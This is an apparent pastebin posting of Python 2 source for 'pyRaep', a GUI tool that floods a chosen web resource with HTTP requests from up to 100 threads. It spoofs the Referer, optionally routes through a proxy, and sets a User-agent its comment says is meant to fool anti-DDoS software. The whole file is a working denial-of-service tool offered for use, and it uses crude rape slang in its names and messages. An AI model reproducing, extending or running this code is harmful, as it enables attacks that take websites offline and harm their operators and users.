All pastes #880422 Raw Edit

Miscellany

public text v1 · immutable
#880422 ·published 2008-01-29 20:11 UTC
rendered paste body
####################################################

################# Import Libraries #################

####################################################



from Tkinter import *

import os
import sys

import threading

import urllib2

from Queue import *

from decimal import *

import math

import time

import socket



####################################################

################### WINDOWS FIX ####################

####################################################


if sys.platform == 'win32':

    win32 = 1 #Set to 1 if you run windows
else:
    win32 = 0



####################################################

################ Default Variables #################

####################################################



spawnerRedundancy = 3 #Number of spawners - makes sure there is no shortage of threads.  Too many may cause problems.

droneQueue = 2 #One more than the number of loops each drone thread should make (more can make better raep, but causes problems closing)



####################################################

################## TKinter Loops ###################

####################################################



root = Tk() #Default window

root.minsize(300,100) #Set main window size

root.maxsize(300,300) #Set main window size



####################################################

################## Thread Classes ##################

####################################################



################ Start/End Threads #################



class cleanUp(threading.Thread):

    def __init__(self):

        threading.Thread.__init__(self)

    def run(self):

        print "> Removing 'stop' file"

        if os.path.exists('stop'): #if stop file exists

            os.unlink('stop') #eliminate stop marker



class selfdestruct(threading.Thread):

    def __init__(self):

        threading.Thread.__init__(self)

    def run(self):

        if win32 != 1:

            import tkMessageBox

            tkMessageBox.showwarning(

                "Shutting Down",

                "Click OK, then wait for termination.  May take a minute, depending on threadcount.  You should see a countdown to zero in the terminal/command prompt\n"

            )

        else:

            print "WARNING!  There is a problem with tkinter on win32!  You may have to close the window manually!"

        print "##Stopping pyRaep"

        print "> Creating 'stop' file"

        stop_obj = open('stop',"w")

        stop_obj.write('stop')

        stop_obj.close()

        print "> Waiting for Drone threads to terminate (may take a while)"

        last = threading.activeCount()-2

        while 1:

            if (threading.activeCount()-2) != last:

                print "> > Threads left to terminate: ", (threading.activeCount()-2)

            if (threading.activeCount() == 2) or ((threading.activeCount() == 3) and win32 == 1): #For cleanup when the only threads left are for the GUI

                print "> > OK, Drone threads terminated."

                print "> Attempt to remove status window"

                warnwin32 = 0 #For shutdown when win32 is the OS

                try:

                    status.destroy()

                    print "> > Status Window removed"

                except:

                    pass #DoS never started

                    print "> > No status window, skipping"

                    if win32 == 1:

                        warnwin32 = 1

                print "> Attempting to remove 'stop' file"

                try:

                    os.unlink('stop')

                    print "> > Stop file removed"

                except:

                    print "> > ERR!  Could not remove stop file, please do it manually"

                print "> Destroying main window"

                if  warnwin32 == 1:

                    print "WARNING!  There is a problem with tkinter on win32!  To exit, you must use the task manager (ctrl+alt+delete, select pythonw)!"

                if win32 != 1:

                    root.destroy()

                else:

                    sys.exit()

                    root.destroy()

            last = threading.activeCount()-2



################# Start the process ################



class initiateit(threading.Thread):

    def __init__(self, resource, referer, maxthreads, proxyaddr):

        #Transfer input variables to self

        self.resource = resource

        self.referer = referer

        self.maxthreads = maxthreads
        self.proxyaddr = proxyaddr

        #Initiate main section of initiateit

        threading.Thread.__init__(self)

    def run(self):

        #Begin spawning threads

        print "##Starting pyRaep"

        print "> Spawning Hive Thread"

        q = Queue(self.maxthreads) #Create queue

        Hive_threads().start() #Start Hive (queue) thread

        Hive(q).start() #Start Hive (queue) thread

        print "> Creating redundant spawners\r\n"

        for i in range(1,spawnerRedundancy):

            spawner(self.resource, self.referer, self.maxthreads, q, self.proxyaddr).start() #Make as many spawners as neccesary



class spawner(threading.Thread):

    def __init__(self, resource, referer, maxthreads, q, proxyaddr):

        #Transfer input variables to self

        self.resource = resource

        self.referer = referer

        self.maxthreads = maxthreads

        self.q = q
        self.proxyaddr = proxyaddr

        #Initiate main section of spawner

        threading.Thread.__init__(self)

    def run(self):

        #Begin spawning threads

        print "> Try spawning threads"

        while not os.path.exists('stop'): #If stop command has not been given

            if threading.activeCount() <= self.maxthreads: #Loop to keep threadcount up

                Drone(self.resource,self.referer,self.q,self.proxyaddr).start() #Spawn Drone thread

            else:

                pass #There are enough threads



################# Monitor Progress ################



class Hive(threading.Thread):

    def __init__(self,q):

        #Transfer input to local variable

        self.q = q

        #Initiate main Hive function

        threading.Thread.__init__(self)

    def run(self):

        #Initiate and Set needed variables

        totaldownload = 0 #Set download amount count to 0

        time_start = time.clock() #Get curent Unix Time (in seconds)

        time_begin = time.clock()

        while not os.path.exists('stop'):

            #Do work

            downloaded = Decimal(self.q.get()) #Get size of most recent download

            tmpdown = Decimal(downloaded)/Decimal(1024)

            elap = Decimal(str(time.clock() - time_start)) #get time since last cycle

            totalelap = Decimal(str(time.clock() - time_begin)) #get time since start

            if elap==0:

                elap = 0.05 #fix or OH SHI- DIVIDED BY ZERO

            speed = round(Decimal(tmpdown/Decimal(str(elap))), 2) #speed since last cycle

            totaldownload += Decimal(downloaded) #Add sizes to get total download size

            avgspeed = round(Decimal((totaldownload/1024)/Decimal(str(totalelap))), 2) #avg speed

            #Create human-readable variables

            show_downloaded = round(((Decimal(totaldownload/Decimal(1024*1024)))),2) #Get total download size in megabytes

            #Update status window

            status_downloads.config(text=show_downloaded) #Update total download amount

            status_download.config(text=speed) #Update download speed

            status_downloada.config(text=avgspeed) #Update download speed

            time_start = time.clock() #get new time



############## Main Worker Treadess ##############



class Drone(threading.Thread):

    def __init__(self,resource,referer,q,httpproxy):

        #Transfer input to local variable

        self.resource = resource

        self.referer = referer

        self.q = q
        self.httpproxy = httpproxy

    #Initiate main Drone function

        threading.Thread.__init__(self)



    def run(self):

        #Create needed variables

        self.count = 0

        #Build request

        socket.setdefaulttimeout(2)
        if self.httpproxy != "--": #If proxy is set
            proxy_support = urllib2.ProxyHandler({"http":"http://" + self.httpproxy}) 
            opener = urllib2.build_opener(proxy_support, urllib2.HTTPHandler) 
            urllib2.install_opener(opener)

        request = urllib2.Request(self.resource) #Create initial request

        request.add_header('Referer', self.referer) #Add referer field

        request.addheaders = [('User-agent', 'Mozilla/4.0')] #Fool anti-DDoS/bot software

        #Begin main drone loop

        for i in range(1, droneQueue): #Threads terminate automatically without spawners

            try:

                #Deal with sockets

                sk = urllib2.urlopen(request) #Open request socket

                nulify = sk.read() #Read socket

                raped = len(nulify) #Get length of downloaded data in bytes

                sk.close() #Close socket

                #Deal with Queue

                self.q.put(raped) #Append data to queue

            except:

                pass #Err



####################################################

################### Tkinter Class ##################

####################################################

        

class Hive_Status(Frame):

    def __init__(self, master=None):

        Frame.__init__(self, master)

        self.master.title("Status")

        self.config(background='#000000')

        self.pack()

        self.run()

    def run(self):

        photo = PhotoImage(file='banner.gif')



        ba = Label(self, image=photo, bg="black", borderwidth=0)

        ba.photo = photo

        ba.grid(row=0, column=0, columnspan=2, sticky=W+E+N+S)



        self.status_threads_label = Label(self, text="Threadcount: ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')

        self.status_threads_label.grid(row=1, column=0, sticky=EW)



        global status_threads

        status_threads = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')

        status_threads.grid(row=1, column=1, sticky=EW)



        self.status_downloads_label = Label(self, text="Downloaded: ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')

        self.status_downloads_label.grid(row=2, column=0, sticky=EW)



        global status_downloads

        status_downloads = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')

        status_downloads.grid(row=2, column=1, sticky=EW)



        self.status_download_label = Label(self, text="Speed (kbps): ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')

        self.status_download_label.grid(row=3, column=0, sticky=EW)



        global status_download

        status_download = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')

        status_download.grid(row=3, column=1, sticky=EW)

        

        self.status_downloada_label = Label(self, text="Average Speed (kbps): ", bd=1, relief=SUNKEN, anchor=W, background='#000000', foreground='#9E9E9E')

        self.status_downloada_label.grid(row=4, column=0, sticky=EW)



        global status_downloada

        status_downloada = Label(self, bd=1, relief=SUNKEN, anchor=W, text='---', background='#000000', foreground='#9E9E9E')

        status_downloada.grid(row=4, column=1, sticky=EW)



################## Monitor stuff ###################



class Hive_threads(threading.Thread):

    def __init__(self):

        #Initiate main Hive_threads function

        threading.Thread.__init__(self)

    def run(self):
        time.sleep(5) #Wait until status window is created

        while not os.path.exists('stop'): #While stop command has not been given

            active = threading.activeCount()-3 #Get number of Drone threads
            global status_threads

            status_threads.config(text=active) #Update thread counter


####################################################

################### Tkinter Class ##################

####################################################



class Queen(Frame):

    def __init__(self, master=None):

        Frame.__init__(self, master)

        self.master.title("pyRAEP GUI v1.0 ALPHA")

        self.config(background='#000000')

        self.pack()

        self.run()

    

    def run(self):

        self.master.protocol("WM_DELETE_WINDOW", self.destruct)

        #Build GUI

        photo = PhotoImage(file='banner.gif')



        ba = Label(self, image=photo, bg="black", borderwidth=0)

        ba.photo = photo

        ba.grid(row=0, column=0, columnspan=2, sticky=W+E+N+S)



        self.resource = Label(self, text="Resource:", background='#000000', foreground='#9E9E9E', border=0) #Resource label

        self.resource.grid(row=1, column=0) #Resource label grid location

    

        self.resource_get = Entry(self, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Resource input

        self.resource_get.grid(row=1, column=1) #Resource input grid location

    

        self.referer = Label(self, text="Referer:", background='#000000', foreground='#9E9E9E', border=0) #Referer label

        self.referer.grid(row=2, column=0) #Referer label grid locaton

    



        self.referer_get = Entry(self, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Referer input

        self.referer_get.grid(row=2, column=1) #Referer input grid location

        self.prox = Label(self, text="Proxy:", background='#000000', foreground='#9E9E9E', border=0) #Proxy label

        self.prox.grid(row=3, column=0) #Proxy label grid location

    

        self.prox_get = Entry(self, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Proxy input

        self.prox_get.grid(row=3, column=1) #Proxy input grid location

    

        configi = Frame(self, bg="black", padx=0, pady=0, relief=RIDGE) #Frame to hold thread-count ticker



        self.threads = Scale (configi, orient='horizontal', tickinterval=10, from_=4, to=100, length=300, background='#000000', foreground='#9E9E9E', border=0, relief = RIDGE) #Scale for threadcount

        self.threads.pack(anchor='center', expand='true') #Pack scale in frame

        self.threadslabel = Label(configi, text="Stability <-- --> Strength", background='#000000', foreground='#9E9E9E') #Scale label

        self.threadslabel.pack() #Pack scale label in frame

        configi.grid(row=4, column=0, columnspan=4) #Set grid location of frame

    

        self.Submitst = Button(self, text="Start", command=self.initiate, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Begin button
        self.Submitst.grid(row=5, column=0, sticky=W+E+N+S) #Begin button grid location



        self.Submitsp = Button(self, text="Stop", command=self.destruct, background='#000000', foreground='#9E9E9E', border=1, relief = RIDGE) #Begin button

        self.Submitsp.grid(row=5, column=1, sticky=W+E+N+S) #Begin button grid location



    def destruct(self):

        selfdestruct().start() #Start stopping program



    def initiate(self):

        print "Attempting to start\r\n"

        #Function to spawn needed threads

        #Create/Generate variables

        maxthreads = int(self.threads.get())+2 #Find max number of threads

        resource = self.resource_get.get() #Get resource

        referer = self.referer_get.get() #Get referer
        proxyaddr = self.prox_get.get() #Get proxy
        if proxyaddr != "":
            pass #proxy will be used
        else:
            proxyaddr = "--" #Will be used later to indicate ignoring this

        initiateit(resource, referer, maxthreads, proxyaddr).start() #Launch thread to spawn all other threads

        global status #Make status a global variable, for later access

        status = Toplevel() #Make status into a tk window

        status.minsize(300,100) #Set size

        status.maxsize(300,300) #Set size

        Hive_Status(master=status).mainloop() #Start app



#Start everything

cleanUp().start()

app = Queen(master=root)

app.mainloop()

sys.exit()